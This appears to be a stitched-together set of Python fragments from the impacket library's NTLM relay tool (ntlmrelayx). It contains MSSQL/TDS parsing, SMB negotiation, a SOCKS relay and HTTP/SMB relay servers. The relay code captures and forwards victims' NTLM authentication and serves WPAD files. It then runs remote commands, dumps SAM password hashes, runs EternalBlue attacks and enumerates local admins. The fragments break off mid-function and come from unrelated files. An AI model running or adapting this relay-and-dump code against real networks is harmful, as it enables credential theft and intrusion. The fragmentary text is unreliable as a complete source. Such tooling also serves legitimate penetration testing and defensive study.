Variant type not yet supported :(") raise else: LOG.critical("ParseROW: Unsupported data type: 0%x" % _type) raise if tuplemode: row.append(value) else: row[col['Name']] = value self.rows.append(row) return (origDataLen - len(data))
def parseColMetaData(self, token): # TODO Add support for more data types! count = token['Count'] if count == 0xFFFF: return 0 self.colMeta = [] origDataLen = len(token['Data']) data = token['Data'] for i in range(count): column = {} userType = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] flags = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] colType = struct.unpack('<B', data[:struct.calcsize('<B')])[0] data = data[struct.calcsize('<B'):] if (colType == TDS_BITTYPE) |\ (colType == TDS_INT1TYPE) |\ (colType == TDS_INT2TYPE) |\ (colType == TDS_INT8TYPE) |\ (colType == TDS_DATETIMETYPE) |\ (colType == TDS_DATETIM4TYPE) |\ (colType == TDS_FLT4TYPE) |\ (colType == TDS_FLT8TYPE) |\ (colType == TDS_MONEYTYPE) |\ (colType == TDS_MONEY4TYPE) |\ (colType == TDS_DATENTYPE) |\ (colType == TDS_INT4TYPE): typeData = '' elif (colType == TDS_INTNTYPE) |\ (colType == TDS_TIMENTYPE) |\ (colType == TDS_DATETIME2NTYPE) |\ (colType == TDS_DATETIMEOFFSETNTYPE) |\ (colType == TDS_FLTNTYPE) |\ (colType == TDS_MONEYNTYPE) |\ (colType == TDS_GUIDTYPE) |\ (colType == TDS_BITNTYPE): typeData = ord(data[0]) data = data[1:] elif (colType == TDS_DATETIMNTYPE): # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and # datetime SQL data types respectively. typeData = ord(data[0]) data = data[1:] elif (colType == TDS_BIGVARBINTYPE) |\ (colType == TDS_BIGBINARYTYPE) |\ (colType == TDS_NCHARTYPE) |\ (colType == TDS_NVARCHARTYPE) |\ (colType == TDS_BIGVARCHRTYPE) |\ (colType == TDS_BIGCHARTYPE): typeData = struct.unpack('<H', data[:2])[0] data = data[2:] elif (colType == TDS_DECIMALNTYPE) |\ (colType == TDS_NUMERICNTYPE) |\ (colType == TDS_DECIMALTYPE): typeData = data[:3] data = data[3:] elif (colType == TDS_IMAGETYPE) |\ (colType == TDS_TEXTTYPE) |\ (colType == TDS_XMLTYPE) |\ (colType == TDS_SSVARIANTTYPE) |\ (colType == TDS_NTEXTTYPE): typeData = struct.unpack('<L', data[:4])[0] data = data[4:] else: LOG.critical("Unsupported data type: 0x%x" % colType) raise # Collation exceptions: if (colType == TDS_NTEXTTYPE) |\ (colType == TDS_BIGCHARTYPE) |\ (colType == TDS_BIGVARCHRTYPE) |\ (colType == TDS_NCHARTYPE) |\ (colType == TDS_NVARCHARTYPE) |\ (colType == TDS_TEXTTYPE): # Skip collation data = data[5:] # PartTableName exceptions: if (colType == TDS_IMAGETYPE) |\ (colType == TDS_TEXTTYPE) |\ (colType == TDS_NTEXTTYPE): # This types have Table Elements, we just discard them for now. # ToDo parse this correctly! # Get the Length dataLen = struct.unpack('<H', data[:2])[0] data = data[2:] # skip the text data = data[dataLen * 2:] colNameLength = struct.unpack('<B', data[:struct.calcsize('<B')])[0] data = data[struct.calcsize('<B'):] colName = data[:colNameLength * 2].decode('utf-16le') data = data[colNameLength * 2:] column['Name'] = colName column['Type'] = colType column['TypeData'] = typeData column['Flags'] = flags self.colMeta.append(column) return (origDataLen - len(data))
def negotiateSession( self, preferredDialect=None, flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS, flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES, negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'): """ Perform protocol negotiation :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used :param string flags1: the SMB FLAGS capabilities :param string flags2: the SMB FLAGS2 capabilities :param string negoData: data to be sent as part of the nego handshake :return: True, raises a Session Error if error. """ # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old # applications still believing # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i # *SMBSERVER's limitations if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER': self._remoteName = self._remoteHost elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER': # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best nb = nmb.NetBIOS() try: res = nb.getnetbiosname(self._remoteHost) except: pass else: self._remoteName = res hostType = nmb.TYPE_SERVER if preferredDialect is None: # If no preferredDialect sent, we try the highest available one. packet = self._negotiateSession(self._myName, self._remoteName, self._remoteHost, self._sess_port, self._timeout, True, flags1=flags1, flags2=flags2, data=negoData) if packet[0] == '\xfe': # Answer is SMB2 packet self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession) else: # Answer is SMB packet, sticking to SMBv1 self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession, negPacket=packet) else: if preferredDialect == smb.SMB_DIALECT: self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout) elif preferredDialect in [ SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30 ]: self._SMBConnection = smb3.SMB3( self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, preferredDialect=preferredDialect) else: LOG.critical("Unknown dialect ", preferredDialect) raise # propagate flags to the smb sub-object # does not affect smb3 objects if isinstance(self._SMBConnection, smb.SMB): self._SMBConnection.set_flags(flags1=flags1, flags2=flags2) return True
def handle(self): LOG.debug("SOCKS: New Connection from %s(%s)" % (self.__ip, self.__port)) data = self.__connSocket.recv(8192) grettings = SOCKS5_GREETINGS_BACK(data) self.__socksVersion = grettings['VER'] if self.__socksVersion == 5: # We need to answer back with a no authentication response. We're not dealing with auth for now self.__connSocket.sendall(str(SOCKS5_GREETINGS_BACK())) data = self.__connSocket.recv(8192) request = SOCKS5_REQUEST(data) else: # We're in version 4, we just received the request request = SOCKS4_REQUEST(data) # Let's process the request to extract the target to connect. # SOCKS5 if self.__socksVersion == 5: if request['ATYP'] == ATYP.IPv4.value: self.targetHost = socket.inet_ntoa(request['PAYLOAD'][:4]) self.targetPort = unpack('>H', request['PAYLOAD'][4:])[0] elif request['ATYP'] == ATYP.DOMAINNAME.value: hostLength = unpack('!B', request['PAYLOAD'][0])[0] self.targetHost = request['PAYLOAD'][1:hostLength + 1] self.targetPort = unpack('>H', request['PAYLOAD'][hostLength + 1:])[0] else: LOG.error('No support for IPv6 yet!') # SOCKS4 else: self.targetPort = request['PORT'] # SOCKS4a if request['ADDR'][:3] == "\x00\x00\x00" and request['ADDR'][ 3] != "\x00": nullBytePos = request['PAYLOAD'].find("\x00") if nullBytePos == -1: LOG.error('Error while reading SOCKS4a header!') else: self.targetHost = request['PAYLOAD'].split('\0', 1)[1][:-1] else: self.targetHost = socket.inet_ntoa(request['ADDR']) LOG.debug('SOCKS: Target is %s(%s)' % (self.targetHost, self.targetPort)) if self.targetPort != 53: # Do we have an active connection for the target host/port asked? # Still don't know the username, but it's a start if self.__socksServer.activeRelays.has_key(self.targetHost): if self.__socksServer.activeRelays[self.targetHost].has_key( self.targetPort) is not True: LOG.error('SOCKS: Don\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort)) self.sendReplyError(replyField.CONNECTION_REFUSED) return else: LOG.error('SOCKS: Don\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort)) self.sendReplyError(replyField.CONNECTION_REFUSED) return # Now let's get into the loops if self.targetPort == 53: # Somebody wanting a DNS request. Should we handle this? s = socket.socket() try: LOG.debug('SOCKS: Connecting to %s(%s)' % (self.targetHost, self.targetPort)) s.connect((self.targetHost, self.targetPort)) except Exception, e: if LOG.level == logging.DEBUG: import traceback traceback.print_exc() LOG.error('SOCKS: %s' % str(e)) self.sendReplyError(replyField.CONNECTION_REFUSED) return if self.__socksVersion == 5: reply = SOCKS5_REPLY() reply['REP'] = replyField.SUCCEEDED.value addr, port = s.getsockname() reply['PAYLOAD'] = socket.inet_aton(addr) + pack('>H', port) else: reply = SOCKS4_REPLY() self.__connSocket.sendall(reply.getData()) while True: try: data = self.__connSocket.recv(8192) if data == '': break s.sendall(data) data = s.recv(8192) self.__connSocket.sendall(data) except Exception, e: if LOG.level == logging.DEBUG: import traceback traceback.print_exc() LOG.error('SOCKS: ', str(e))
import string from struct import unpack from impacket import LOG from impacket.examples.ntlmrelayx.clients import ProtocolClient from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \ TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN from impacket.ntlm import NTLMAuthChallenge from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED from impacket.spnego import SPNEGO_NegTokenResp try: import OpenSSL from OpenSSL import SSL, crypto except Exception: LOG.critical("pyOpenSSL is not installed, can't continue") PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient" class MYMSSQL(MSSQL): def __init__(self, address, port=1433, rowsPrinter=DummyPrint()): MSSQL.__init__(self, address, port, rowsPrinter) self.resp = None self.sessionData = {} def initConnection(self): self.connect() #This is copied from tds.py resp = self.preLogin() if resp['Encryption'] == TDS_ENCRYPT_REQ or resp[
def _start(self): self.server.daemon_threads = True self.server.serve_forever() LOG.info('Shutting down SMB Server') self.server.server_close()
def do_GET(self): messageType = 0 if self.server.config.mode == 'REDIRECT': self.do_SMBREDIRECT() return LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) # Serve WPAD if: # - The client requests it # - A WPAD host was provided in the command line options # - The client has not exceeded the wpad_auth_num threshold yet if self.path.lower( ) == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad( self.client_address[0]): LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) self.serve_wpad() return # Determine if the user is connecting to our server directly or attempts to use it as a proxy if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): proxy = True else: proxy = False if PY2: proxyAuthHeader = self.headers.getheader('Proxy-Authorization') autorizationHeader = self.headers.getheader('Authorization') else: proxyAuthHeader = self.headers.get('Proxy-Authorization') autorizationHeader = self.headers.get('Authorization') if (proxy and proxyAuthHeader is None) or ( not proxy and autorizationHeader is None): self.do_AUTHHEAD(message=b'NTLM', proxy=proxy) pass else: if proxy: typeX = proxyAuthHeader else: typeX = autorizationHeader try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except Exception: LOG.debug("Exception:", exc_info=True) self.do_AUTHHEAD(message=b'NTLM', proxy=proxy) else: messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 1: if not self.do_ntlm_negotiate(token, proxy=proxy): #Connection failed LOG.error( 'Negotiating NTLM with %s://%s failed. Skipping to next target', self.target.scheme, self.target.netloc) self.server.config.target.logTarget(self.target) self.do_REDIRECT() elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if not self.do_ntlm_auth(token, authenticateMessage): if authenticateMessage[ 'flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.error( "Authenticating against %s://%s as %s\\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode( 'utf-16le'), authenticateMessage['user_name']. decode('utf-16le'))) else: LOG.error( "Authenticating against %s://%s as %s\\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode( 'ascii'), authenticateMessage['user_name'].decode('ascii'))) # Only skip to next if the login actually failed, not if it was just anonymous login or a system account # which we don't want if authenticateMessage[ 'user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': self.server.config.target.logTarget(self.target) # No anonymous login, go to next host and avoid triggering a popup self.do_REDIRECT() else: #If it was an anonymous login, send 401 self.do_AUTHHEAD(b'NTLM', proxy=proxy) else: # Relay worked, do whatever we want here... if authenticateMessage[ 'flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.info( "Authenticating against %s://%s as %s\\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode( 'utf-16le'), authenticateMessage['user_name']. decode('utf-16le'))) else: LOG.info( "Authenticating against %s://%s as %s\\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode( 'ascii'), authenticateMessage['user_name'].decode('ascii'))) ntlm_hash_data = outputToJohnFormat( self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.config.outputFile is not None: writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) self.server.config.target.logTarget( self.target, True, self.authUser) self.do_attack() # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length', '0') self.send_header('Connection', 'close') self.end_headers() return
def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info( 'Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins, EnumShares, EnumSessions, EternalRelay # Import EnumShares samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer( ).get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags( flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception as e: if "rpc_s_access_denied" in str( e ): # user doesn't have correct privileges, fall back to available non-Admin options ### EternalRelayAttack START ### if self.config.eternalRelayScanner: LOG.info( "Relayed user doesn't have admin on {}. Attempting to scan {} for ETERNALBLUE vulnerability detection... " .format( self.__SMBConnection.getRemoteHost().encode( self.config.encoding), self.__SMBConnection.getRemoteHost().encode( self.config.encoding))) eternalRelayScanner = EternalRelay( self.__SMBConnection) try: eternalRelayScanner.EternalBlueScanner() print('') except DCERPCException: LOG.info("SAMR access denied") return if self.config.eternalRelayAttack: LOG.info( "Relayed user doesn't have admin on {}. Attempting EternalRelay attack against {}... " .format( self.__SMBConnection.getRemoteHost().encode( self.config.encoding), self.__SMBConnection.getRemoteHost().encode( self.config.encoding))) eternalRelayAttack = EternalRelay(self.__SMBConnection) try: eternalRelayAttack.EternalBlueAttack() print('') except DCERPCException: LOG.info("SAMR access denied") return ### EternalRelayAttack END### ### EnumShares START ### if self.config.enumShares: LOG.info( "Relayed user doesn't have admin on {}. Attempting to enumerate SMB shares with relayed credentials... " .format( self.__SMBConnection.getRemoteHost().encode( self.config.encoding))) enumSmbShares = EnumShares(self.__SMBConnection) try: share_names = enumSmbShares.getShareNames() LOG.info( "Host {} has the following SMB shares available" .format(self.__SMBConnection.getRemoteHost(). encode(self.config.encoding))) for name in share_names: LOG.info("- {}".format(name)) print('') except DCERPCException: LOG.info("SAMR access denied") return ### EnumShares END ### ### EnumLocalAdmins START ### if self.config.enumLocalAdmins: LOG.info( "Relayed user doesn't have admin on {}. Attempting to enumerate users who do..." .format( self.__SMBConnection.getRemoteHost().encode( self.config.encoding))) enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) try: localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins( ) LOG.info( "Host {} has the following local admins (hint: try relaying one of them here...)" .format(self.__SMBConnection.getRemoteHost(). encode(self.config.encoding))) for name in localAdminNames: LOG.info( "Host {} local admin member: {} ".format( self.__SMBConnection.getRemoteHost(). encode(self.config.encoding), name)) except DCERPCException: LOG.info("SAMR access denied") ### EnumLocalAdmins END ### return # Something else went wrong. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote( self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print( self.__answerTMP.decode(self.config.encoding, 'replace')) else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote=True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost() + '_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception as e: LOG.error(str(e)) finally: if samHashes is not None: samHashes.finish() if remoteOps is not None: remoteOps.finish()
def smb2TreeConnect(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) authenticateMessage = connData['AUTHENTICATE_MESSAGE'] self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: # # Connection already relayed, let's just answer the request (that will return object not found) # return self.origsmb2TreeConnect(connId, smbServer, recvPacket) try: if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) if self.authUser == '/': LOG.info( 'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % (connId, connData['ClientIP'])) return self.origsmb2TreeConnect(connId, smbServer, recvPacket) self.target = self.targetprocessor.getTarget( identity=self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later LOG.info( 'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) return self.origsmb2TreeConnect(connId, smbServer, recvPacket) LOG.info( 'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc)) if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['relayToHost'] = True connData['Authenticated'] = False del (connData['NEGOTIATE_MESSAGE']) del (connData['CHALLENGE_MESSAGE']) del (connData['AUTHENTICATE_MESSAGE']) connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = recvPacket['Command'] respPacket['SessionID'] = connData['Uid'] respPacket['Reserved'] = recvPacket['Reserved'] respPacket['MessageID'] = recvPacket['MessageID'] respPacket['TreeID'] = recvPacket['TreeID'] respSMBCommand = smb3.SMB2TreeConnect_Response() # This is the key, force the client to reconnect. # It will loop until all targets are processed for this user errorCode = STATUS_NETWORK_SESSION_EXPIRED respPacket['Status'] = errorCode respSMBCommand['Capabilities'] = 0 respSMBCommand['MaximalAccess'] = 0x000f01ff respPacket['Data'] = respSMBCommand # Sign the packet if needed if connData['SignatureEnabled']: smbServer.signSMBv2(respPacket, connData['SigningSessionKey']) smbServer.setConnectionData(connId, connData) return None, [respPacket], errorCode
def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: # Nope, do we know it? if mechType in MechTypes: mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken return [respSMBCommand ], None, STATUS_MORE_PROCESSING_REQUIRED elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception as e: LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data connData['Uid'] = random.randint(1, 0xffffffff) connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x02: # CHALLENGE_MESSAGE raise Exception('Challenge Message raise, not implemented!') elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': # For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = securityBlob securityBlob = respToken2.getData() clientResponse, errorCode = self.do_ntlm_auth( client, token, connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: #Log this target as processed for this client self.targetprocessor.logTarget(self.target) LOG.error( "Authenticating against %s://%s as %s\\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.critical( "Authenticating against %s://%s as %s\\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) connData['Authenticated'] = True self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = b'\x00' # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def sendNegotiatev1(self, negotiateMessage): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE # Just in case, clear the Unicode Flag flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE)) sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Let's build a NegTokenInit with the NTLMSSP # TODO: In the future we should be able to choose different providers #blob = SPNEGO_NegTokenInit() # NTLMSSP #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] #blob['MechToken'] = negotiateMessage #sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) sessionSetup['Parameters']['SecurityBlobLength'] = len( negotiateMessage) sessionSetup['Parameters'].getData() #sessionSetup['Data']['SecurityBlob'] = blob.getData() sessionSetup['Data']['SecurityBlob'] = negotiateMessage # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except Exception: LOG.error("SessionSetup Error!") raise else: # We will need to use this uid field for all future requests/responses v1client.set_uid(smb['Uid']) # Now we have to extract the blob to continue the auth process sessionResponse = SMBCommand(smb['Data'][0]) sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters( sessionResponse['Parameters']) sessionData = SMBSessionSetupAndX_Extended_Response_Data( flags=smb['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters[ 'SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) #return respToken['ResponseToken'] return sessionData['SecurityBlob']
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters'][ 'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack( 'B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage 